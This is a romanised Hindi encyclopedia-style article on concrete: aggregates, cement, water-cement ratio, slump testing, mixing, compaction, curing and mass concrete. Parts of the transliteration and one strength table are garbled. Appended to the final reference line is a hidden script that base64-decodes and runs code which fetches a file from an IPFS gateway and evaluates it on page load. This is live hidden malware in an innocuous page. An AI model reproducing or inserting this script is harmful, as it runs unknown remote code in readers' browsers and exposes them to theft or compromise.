कंक्रीट

kankrit nimnakit padarthoan ka mishran hai:-

1. koee akriyashil padarth, jaise toota patthar, eeant ki gitti, b di bajari, chhaee (mashin ki rakh, siandar) athava mashin se nikala jhavaan
2. baloo ya patthar ka choora ya pisi eeant (surkhi)
3. poorvoankt padarthoan ke jo dane ke lie kaee padarth, jaise simeant athava choona
4. avashyakatanusar pani

is mishran ko jab achchhi tarah mila diya jata hai aur keval itana dhila rakha jata hai ki gaddhe ya saanche ke kone-kone tak pahuanch sake tab yah kisi bhi akriti ke gaddhe athava khokhale sthan mean, jaise nianv ki athava meharab ki bagal mean, bhara ja sakata hai. kankrit ka upayog 2000 ee.poo. se hota a raha hai. kankrit ke gun un padarthoan par nirbhar hote haian jinase yah banaya jata hai, paratu pradhanat: ve us padarth par nirbhar rahate haian jo patthar, gitti adi ko paraspar chipakane ke lie prayukt hota hai. 19vian shatabdi mean portalaiand simeant ke avishkar ke pahale is kam ke lie keval choona upalabdh tha, parantu ab choone ke kankrit ka upayog keval vahian hota hai jahaan adhik pushtata ki avashyakata nahian rahati. adhik pushtata ke lie simeant kankrit ka upayag hota hai. simeant kankrit ko ispat se dridh karake un sthanoan mean bhi prayukt kiya ja sakata haian jahaan lapane ya mu dane ki sanbhavana rahati hai, jaise dharanoan athava stanbhoan mean.

simeant kankrit

yah simeant, pani, baloo aur patthar ya eeant ki gitti athava b di bajari ya jhavaan se banata hai aur bhavan nirman mean adhik kam mean ata hai. jaisa oopar bataya gaya hai, jab yah padarth bhali-bhaanti mila die jate haian tab unase kumhar ki mitti ki tarah plastik padarth banata hai, jo dhire-dhire patthar ki tarah k da ho jata hai. yah kritrim patthar prakriti mean milane vale kaanglamaret namak patthar ke svabhav ka hota hai. bhavananirman mean simeant kankrit ke is gun ke karan yah b di sugamata se kisi bhi sthan mean dhala ja sakata hai aur isako koee bhi vaanchhit roop diya ja sakata hai. isake lie avashyak padarth pray: sabhi sthanoan mean upalabdh rahate haian, parantu sarvottam parinam ke lie kankrit ko milane aur dhalane ka kam prashikshit mazadooroan ko sauanpana chahie. kankrit ki pushtata usake avayavoan ke anupat aur unako milane ke dhang par nirbhar rahati hai.

bhavananirman mean isake pray: asankhy prakar ke upayog ho sakate haian, jinamean bhari nianve, pushte, nausthan (dak) ki bhittiyaan, tarangoan se raksha ke lie samudr mean bani divarean, pul, udrodh ityadi brihatkay sanrachanaean bhi sammilit haian. ispat se prabalit (riinforsd) kankrit ke roop mean yah anek any sanrachanaoan ke lie prayukt hota hai, jaise pharsh, chhat, meharab, pani ki tankiyaan, attalikaean, pul ke b de pipe (p aauntoon), ghat, naram bhoomi mean nianv ke niche thoke jane vale khooante, jahazoan ke lie samudri ghat, tatha anek any rachanaean. tikaoopan, pushtata, sauandary, agni ke prati sahanashilata, sastapan ityadi aise gun haian jinake karan bhavananirman mean kankrit adhikadhik lokapriy hota ja raha hai aur inake karan bhavananirman mean prayukt hone vale pahale ke kee any padarth hatate ja rahe haian.

gitti aur baloo

patthar ya eeant ke chhote-chhote tuk doan ko gitti kahate haian. gitti ke badale b di bajari adi ka bhi upayog ho sakata hai, at: unako bhi gitti ke aantargat hi mana jata hai. gitti aur baloo donoan ke sammilit roop ko abhisamooh (aigriget) kahate haian. nap ke anusar gitti ke nimnalikhit varg haian :

(k) danavi (saiklopiyan), jab nap 7.5 se 15 seantimitar tak (3 se 6 ianch tak) hoti hai;

(kh) moti gitti, 0.5 se 7.5 seantimitar tak (3/16 se 3 ianch tak);

(g) mahin, 0.15 se 5 milimitar tak (0.0059 se 3/16 ianch tak).

gitti ki nap batane ke lie 'sookshmata mapaank' ka prayog kiya jata hai. napane ke lie das pramanik chhalaniyaan rahati haian jinaki jali ki nap nimnalikhit hoti hai:

3 ianch, 1¹/₂ ianch, 3/4 ianch, 2.41 milimitar, 1,204 milimitar, 0.599 milimitar, 0.152 milimitar. 2.41 milimitar vali chhalani ko nanbar 7 chhalani tatha usake bad ki chhalaniyoan ka kramanusar nanbar 14, nanbar 25 nanbar 52 aur nanbar 100 bhi kahate haian.

sookshmata mapaank prapt karane ke lie mal ko in chhalaniyoan se kramanusar chala jata hai. mala ki taul ke anusar in chhalaniyoan par jitana pratishat bacha rah jata hai unake yogaphal ko 100 se bhag de diya jata hai. is prakar prapt labdhi ko sookshmata mapaank kahate haian.

kankrit ke lie sookshm milave (baloo ya surkhi) ka sookshmata mapaank 2 aur 3 ke bich hona chahie aur mote milave (gitti) ka 5 aur 8 ke bich.

sookshm milave (baloo ityadi) ka 90 pratishat aansh ianch ki jali ke par ho jana chahie aur 100 nanbaravali jali par 85 pratishat se kam nahian p da rahana chahie. sookshm milave ke lie nadi ya samudr ki baloo athava patthar ki khan se nikala choora pisakar prayukt kiya jata hai. prakritik athava pisi bajari mean mitti, talachhat aur dhooli taul ke anusar 3 pratishat se adhik nahian honi chahie tatha choorn kie ge patthar mean 10 pratishat se adhik dhoomi adi n honi chahie. baloo adi ko ghas pat adi pranij ashuddhiyoan se mukt hona chahie.

mote milave (gitti) ke kam se kam 95 pratishat ko 3 ianchavali chhalani se par ho jana chahie aur kam se kam 90 pratishat ko ianchavali chhalani par p da rahana chahie. to da gaya patthar, to di gee eeant, choor kiya gaya patthar, jhavaan athava chhaee, ye sab mote milave ke lie kam mean laee ja sakati hai. chhaee aur kok halake kankrit ke lie upayogi haian, parantu bhari aur pusht kam ke lie choone ka patthar, grainait, nais, traip athava k da balua patthar kam mean laya jata hai. chipakane vale padarth (simeant) se kamazor p danevale naram patthar ka prayog karana chahie.

gitti kuchh golakar ho, ruksh ho, usase chipp d n chhootean aur to dane mean pusht ho. taul ke anusar gitti paanch pratishat se adhik pani sokhe. usamean yathasanbhav mitti n ho aur pranij (aaugaiannik) padarth (jaise ghas, kaee ityadi) n hoan.

simeant

yoan to kary aur avashyakata ke anusar kee prakar ke simeantoan ka vyavahar kiya jata hai, parantu sadharan kam ke lie adhikatar portalaiand simeant kam mean laya jata hai. yah pradhanat: traikailsiyam siliket, daikailsiyam siliket, traikailsiyam ailyuminet aur jipasam ka mishran hota hai. pani milane ke bad sabase pahale pushtata ailyuminetoan aur traikailsiyam siliket se ati hai, kyoanki pani ka shoshan karate samay unake karan adhik garami utpann hoti hai. sarani 1 mean vividh simeantoan se bani kankrit ki pushtata kankrit ki ayu ke anusar dikhaee gee hai. kam mean lane ke pahale simeant ko sookhe sthan mean rakhana chahie anyatha ardrata se simeant kharab ho jaega. nam sthan mean rakhane se jo simeant k da ho jata hai vah kisi kam ka nahian rahata. kabhi-kabhi, jab simeant ki boriyaan ek ke oopar ek bahut ooanchaee tak ladi rahati haian tab niche ka simeant adhik dab ke karan bhi bandh jata hai, parantu yah simeant kharab nahian rahata aur kankrit banate samay saralatapoorvak any padarthoan ke sath mil jata hai.

k da hone ka praranbhik samay 30 minat se kam nahian hona chahie. kankrit ko sanane ke bad 30 minat ke bhitar hi apane sthan mean dhal dena chahie. k da hone ka aantim samay 10 ghante se kam n hona chahie. sat din ke bad pariksha lene par dab aur tanav mean simeant ki pushtata kramanusar 2.500 pauand prati varg ianch aur 375 pauand prati varg ianch se kam n honi chahie. 170 nanbar ki chhalani se simeant ke 90 se adhik aansh ko par ho jana chahie aur ek gram simeant ke kanoan ka sammilit kshetraphal 2,250 varg seantimitar se kam n hona chahie. thumb|300px|kankrit ki ayu-pushtata-vakrarekha

pani

pani svachchh ho, usamean pranij padarth, aml, kshar aur koee bhi any hanikarak padarth n hona chahie. sankshep mean, jo jal pine yogy hota hai vahi kankrit banane ke bhi yogy hota hai.

padarthoan ki nap

kankrit banane mean vividh padarthoan ko thik-thik napana bahut mahattvapoorn hai. jab padarthoan ko ayatan ke anusar napakar milaya jata hai tab napanevala bartan chhota b da hone se aantim nap mean aantar p d jata hai, isaka prabhav bhi aantim nap par p data hai. phir, milave ki kism aur usaki ardrata ka bhi prabhav p data hai. mahin milave (baloo adi) mean 3.5 pratishat ardrata rahane par ayatan lagabhag 25 pratishat adhik ho jata hai. milava jitana hi adhik mahin hoga, ardata se ayatan utana hi adhik badhega. thumb|300px|baloo ka phoolana

at: achchhe kam mean padarthoan ko taulakar milana chahie. parantu sadharanat: nirman karyoan mean padarthoan ki nap ayatan se hoti hai. at: un sabhi batoan par dhyan rakhana atyant avashyak hai jinase ayatan ghatata badhata hai. simeant ki pratyek bori ke lie avashyak pani ki matra sadharanat: gailanoan mean bataee jati hai.

simeant kankrit ke avayav

sukarata ka anuman is bat se kiya jata hai ki kankrit ke milane, dhalane aur dhalane ke bad kootane mean kitana samay lagata hai. sukarata jal ki matra, gitti ki nap aur mote tatha mahin milave ke anupat par nirbhar rahati hai. jal aur mahin milava badhane se sukarata badhati hai. sukarata napane ki kee ritiyaan haian parantu adhik upayog avapat (slanp) riti ka hi hota hai. is riti ka varnan niche kiya jata hai.

taza bane kankrit ko peandi rahit balti mean dalate haian jisaki akriti shanku ke chhinnak (fastam) ki bhaanti hoti hai. oopar ka vyas 5 ianch tatha niche ka 8 ianch hota hai aur ooanchaee 12 ianch hoti hai. kankrit ko is barartan mean bharakar kootane ke bad, baratan ko utha liya jata hai. tab kankrit kuchh baith jata hai, jaisa chitr 3 mean dikhaya gaya hai. kankrit ka matha jitane niche dhansata hai utana hi avapat (slanp) kahalata hai. avapat jitana hi adhik hoga, sukarata bhi utani hi adhik hogi. s dak banane ke lie 1 ianch ke kankrit ka avapat thik rahata hai. chhat, dharan ityadi mean avapat 1 ianch se 2 ianch tak hona chahie. khanbhoan aur un patali divaroan ke lie jo kamaroan ko do ya adhik khandoan mean baantane ke lie kh di ki jati haian, avapat ko 4 ianch tak badhana p data hai, jisamean kankrit phailakar sab jagah pahuanch jae aur kahian polapan n rah jae. thumb|300px|kankrit ka avapat kankrit ki pushtata; simeant ke gun, jal aur simeant ke anupat aur saghanata ki matra par nirbhar hoti hai. yadi simeant vahi rahe aur gitti tatha baloo is prakar se vividh napoan ke rahean ki poorn saghanata prapt ho to kankrit ki pushtata jal aur simeant ke anupat par nirbhar rahegi. chitr 4 mean jal tatha simeant ke anupat aur pushtata ka sanbandh dikhaya gaya hai. ise dekhate hi pata chalata hai ki jal aur simeant ka anupat badhane se, arthath‌ adhik jal milane se, pushtata ghatati hai, parantu smaran rahe ki pani ki matra ek nishchit sima se kam nahian ki ja sakati. rasayanik kriya poori hone ke lie jal ki matra simeant ki matra ki kam se kam 0.25 honi chahie, parantu sukarata ke lie aur kankrit ko kootakar saghan bana sakane ke lie isase adhik pani ki avashyakata p dati hai. 0.35 se kam anupat mean pani milakar banaya gaya mishran pray: itana kharra (sookha) hota hai ki isase kam nahian liya ja sakata. thumb|300px|jal tatha simeant ke anupat tatha pushtata ka sanbandh kankrit ka tikaoopan pradhanat: usaki saghanata par nirbhar rahata hai. kankrit mean jitane hi kam radhran rahate haian, usamean utana hi kam kshariy jal athava any hanikar padarth ghul pate haian, isalie usamean utana hi kam kshay hota hai. saghanata prapt karane ke lie yathasanbhav kam pani dalana chahie aur gitti ke ro doan ki nap tatha baloo ka prakar aur usaki matra aisi honi chahie ki kankrit mean rikt sthan n chhootane pae.

mitavyayata ya sastepan ke lie yah avashyak hai ki simeant kam se kam p de aur milane, dhalare tatha kootane mean parishram nyoonatam lage. etadarth isaka dhyan rakhana chahie ki avashyak sukarata ke lie jitana nyoonatam jal apekshit ho usase adhik n chho da jae.

in sab batoan par vichar karane se spasht hai ki hamean pahale aisa jal-simeant-anupat chunana chahie ki avashyak pushtata mile aur tab mahin aur mote milave ke avayavoan ka is anupat mean rakhana chahie ki achchhi sukarata aur poorn saghanata ke lie usamean nyoonatam matra mean jal aur simeant ka mishran dalana p de. poorn saghanata ka arth yah hai ki milave (gitti baloo) ke kanoan ke bich ke samast rikt sthan jal-simeant-mishran se bhar uthean aur vayu ke bulabule kahian n rahean.

milave ke vividh padarthoan ko nap ke anusar uchit anupat mean milana atyant mahattvapoorn hai. isase keval pushtata hi nahian badhati, sukarata bhi badhati hai. uchit riti se shrenibaddh gitti-baloo mean sabhi napoan ke kan is prakar rahate haian ki b de kanoan ke bich ke rikt sthan chhote kanoan se bhar jate haian, ityadi. yadi aisan hua to sab rikt sthanoan ko jal-simeant-mishran se bharana p dega. isalie kankrit ki charam saghanata ke nimitt milanevale milave ki gitti aur baloo ko is prakar uchit riti se shrenibaddh kiya jata hai ki milave mean kam se kam riktata ho jae. kuchh mahattvapoorn kamoan mean sastepan ke lie aantar-shrenikaran (gaip grediang) ki riti barati jati hai. isamean british staiandard nanbar se 7 ki chhalani tak ki bajari ko milave mean sammilit nahian kiya jata hai.

avashyak matraoan ka anupat-sadharanat

kankrit ka mishran simeant, baloo aur gitti ke ayatanoan ke anupat ke anusar taiyar kiya jata hai. kabhi-kabhi simeant ki matra batane ke lie boriyoan ki sankhya bataee jati hai. pratyek bori mean 112 pauand ya 1.25 ghan phut simeant rahata hai. is prakar 1 : 2 : 4 ke kankrit mishran ka arth hai 1 ghan phut simeant (jisaki taul prati ghanaphut 90 pauand hoti hai), 2 ghanaphut baloo (athava any mahin milava) aur 4 ghan phut gitti. mishran mean ausat se 66% se 78% milava 7% se 14% simeant aur 15% se 22% pani hota hai. is prakar 100 ghan phut taiyar (saghan kie ge) kankrit ke lie kuchh milakar lagabhag 155 ghan phut sookhean padarth ki avashyakata p dati hai.

kankrit ka milana

yah mahattvapoorn hai ki sab padarth achchhi tarah mil jaean jisamean sarvatr ek saman ki sanrachana rahe. jab kabhi adhik kankrit ki avashyakata hoti hai tab use hath se milana kathin hota hai isalie mashin ka prayog kiya jata hai. aisi mashin mean ek b da sa dhol rahata hai jisake bhitar pankhe lage rahate haian. dhol ko ianjan se ghumaya jata hai aur bhitar simeant, baloo, gitti aur pani napakar dal diya jata hai. shighr hi achchha mishran taiyar ho jata hai.

kankrit ko dhalana aur kootana

mishran taiyar hone ke bad kankrit ko chapapat dhalana aur saghan karana chahie. pani dalane ke kshan se is kriya ke aant tak kul 30 minat se kam samay lagana chahie. isapar bhi isaka dhyan rakhana chahie ki dhalate samay kankrit ke mishran ka koee avayav aanshat: alag n hone pae. isaka tatpary yah hai ki kankrit bahut ooanche se nahian giraya jana chahie.

kankrit ki kutaee lohe ke chh doan se karani chahie aur is prakriya mean chh doan ko kuchh door tak kankrit mean ghus jana chahie. jab mishran itana sookha rahata hai ki is vidhi ka prayog nahian kiya ja sakata to kanpanakari yantroan ka prayog kiya jata hai jisamean poori saghanata a sake. sapat satahoan ke lie aise kanpanakariyoan ka prayog kiya jata hai jo satah ke oopar rakhe jate haian, parantu dharanoan aur divaroan ke lie kankrit ke bhitar dale janevale kanpanakariyoan se kam liya jata hai. kiantu yadi kankrit ke bhitar kanpanakari ko dalane ki suvidha bhi n ho to aise bahari kanpanakariyoan ka upayog kiya jata hai jo saanche ko hilate haian aur is prakar kankrit saghan ho jata hai.

kam kutaee to hanikarak hai hi, parantu kutaee ya kanpan ki adhikata bhi hanikar ho sakati hai, kyoanki isase kankrit ke avayav alag hone lagate haian aur usamean madhumakkhi ke chhatte ki tarah rikt sthan ban jane ki sanbhavana rahati hai. at: yah chetavani dena uchit hai ki poorn saghanata ke badale keval 85 % saghanata utpann ki jae to pushtata poorn saghan kankrit ki kul 15 % hi utpann hogi.

kankrit ko paripakv karana

jab tak kankrit k da hota rahata hai tab tak use ardr rakhana chahie. is kriya ko paripakvikaran (pakka karana) kahate haian. yah atyant mahattvapoorn hai ki k da hone ki kriya mean jitana pani simeant ke rasayanik sanyog ke lie avashyak hai, utana use milata rahe. yadi kankrit ko thik prakar se paripakv n kiya jae to pushtata bahut kam ho jati hai. kankrit ki pushtata ka adhikaansh do tin saptahoan mean utpann hota hai, atev itane hi samay tak ko ardr rakhana avashyak hai. yadi is samay mean kankrit sookhe vatavaran mean rahata hai to usamean adhik sankoch ho jata hai aur parinamat: vah phat jata hai.

yadi tap adhik ho to kankrit ki pushtata kam samay mean ati hai. isalie ja de ki apeksha garami ke dinoan mean saancha kam samay mean hataya ja sakata hai. yadi kankrit ko bahut shighr paripakv karana rahata hai to kankrit ko bhap se tapt kiya jata hai. bahudha s dak banane mean aisa karana p data hai, kyoanki s dakoan ke do tin saptah tak band rakhane mean asuvidha hoti hai.

kankrit ke gun

nimnalikhit sarani mean vividh sanrachanaoan ke kankrit aur unake gun dikhae ge haian :

28 din bad sanpidan kshamata,

mishran pauand prati varg ianch prayog

1 : 2 : 42,250 prabalit (riinforsd) kam mean.

1 : 1h : 32,850 meharab, stanbh, pani ki tankiyoan aur

pani ke any kamoan mean.

1 : 1 : 23,450 poorv pratibalit (prastresd, ) kankrit aur aisi sanrachanaoan mean jahaan vishesh

pushtata ki avashyakata hoti hai.

sada kankrit

jo kankrit prabalit (riinforsd) nahian rahata use sada (plen) kankrit kahate haian. sadharan bojhavali divaroan ki nivoan mean sadharanat: 1 : 3 : 6 ka simeant kankrit diya jata hai. yadi bhoomi k di ho to khanbhoan ki nivoan mean bhi aisa hi kankrit diya ja sakata hai. tanav mean aisa kankrit bahut pusht nahian hota aur jab kisi bhag mean tanav p dane ki ashanka rahati hai tab use ispat ki chh doan se prabalit karana avashyak hota hai.

vipul kankrit

jab bahut b de ayatanavala, kankrit ka koee kam banata hai, jaise udrodh (daim), pushta (riteniang val), bhari kam hone vale karakhane ka pharsh, ityadi tab subhite ke lie use vipul kankrit (mas kankrit) kaha jata hai. jab kabhi bahut sa kankrit ek sath dhala jata hai tab simeant ke jal sokhane se b di garami utpannahoti hai. pichhe jab kankrit thanda hota tab bhitari tanav bahut ho jata hai aur kankrit chatakh jata hai. isalie udrodh adi banane mean gitti aur baloo ko pahale se khoob thanda kar liya jata hai aur kankrit mean nal (paip) laga die jate haian, jinamean thanda pani pravahit kiya jata hai. isase tap badhane nahian pata. vipul kankrit ke lie b di nap ki gittiyoan ka upayog kiya jata hai jo vyas mean 6 ianch tak ki hoti haian. isase pani kam kharch hota hai aur yadi jal-simeant-anupat n badala jae to simeant bhi kam kharch hota hai. phalat: bachat hoti hai. sath hi, kankrit ka ghanatv bhi badh jata hai. yah gurutvudrodh aur b di tankiyoan ke pharsh ke lie mahattvapoorn hota hai, kyoanki ye apani sthirata ke lie apane hi bhar par nirbhar rahate haian.

inhean bhi deankhean

• kankrit ki s dak
• kankrit ke pul

tika tippani aur sandarbh

kankrit (hindi) bharatakhoj. abhigaman tithi: 15 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>